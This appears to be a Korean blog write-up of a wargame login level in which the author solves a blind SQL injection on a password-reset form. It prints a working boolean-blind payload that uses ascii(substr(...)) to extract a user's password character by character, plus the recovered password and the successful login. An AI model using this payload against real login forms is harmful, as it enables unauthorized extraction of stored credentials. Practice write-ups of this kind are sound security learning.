

이런 폼이 뜨는것을 볼 수 있다.
딱 보아도 blind sql 인젝션같아보인다.

The screenshot shows a web browser window with the address bar displaying `/login/level4/index.php`. The page has a black background with green text and dashed green borders. At the top, it says "Log in as 'johnwayne', if you don't remember your password, shame on you...". Below this is a "Login:" section with two input fields (username and password) and a green button with a right arrow. Underneath is a "Forgotten password:" section with a single input field and a green button with two right arrows. A message below that says "Enter your username and we will send your password to your email." At the bottom, there is a "References:" section.

`/login/level4/index.php`

Log in as 'johnwayne', if you don't remember your password, shame on you...

Login:

Forgotten password:

Enter your username and we will send your password to your email.

References:

저 폼의 내용은 아래와 같다.

johnwayne' and ascii(substr((SELECT pass FROM login WHERE name='johnwayne'),1,1))>0# 이다.

해석하자면 johnwayne의 비밀번호의 첫 번째 글자가 아스키코드 0이상이면 위와 같이 mail server error.가 뜨게 된다.

즉, >0의 값을 변경해 노가다를 뛰거나 툴을 이용해 비밀번호를 알아내면 된다.

Mail server error. Can't send data to *****@*****.***

/login/level4/index.php

Log in as 'johnwayne', if you don't remember your password, shame on you...

Login:

Forgotten password:

ame='johnwayne'),1,1))>0# >>

Enter your username and we will send your password to your email.

아래는 비밀번호를 알아내 로그인하는 모습이다.

/login/level4/index.php

Log in as 'johnwayne', if you don't remember your password, shame on you...

Login:

johnwayne
drjgxppl

Forgotten password:

>>

Enter your username and we will send your password to your email.

References:

성공!

Logged in as: **johnwayne**
Head for the next level.

/login/level4/index.php

Log in as 'johnwayne', if you don't remember your password, shame on you...

Login:

<input type="text"/>	>
<input type="password"/>	

Forgotten password:

<input type="text"/>	>>
----------------------	----

Enter your username and we will send your password to your email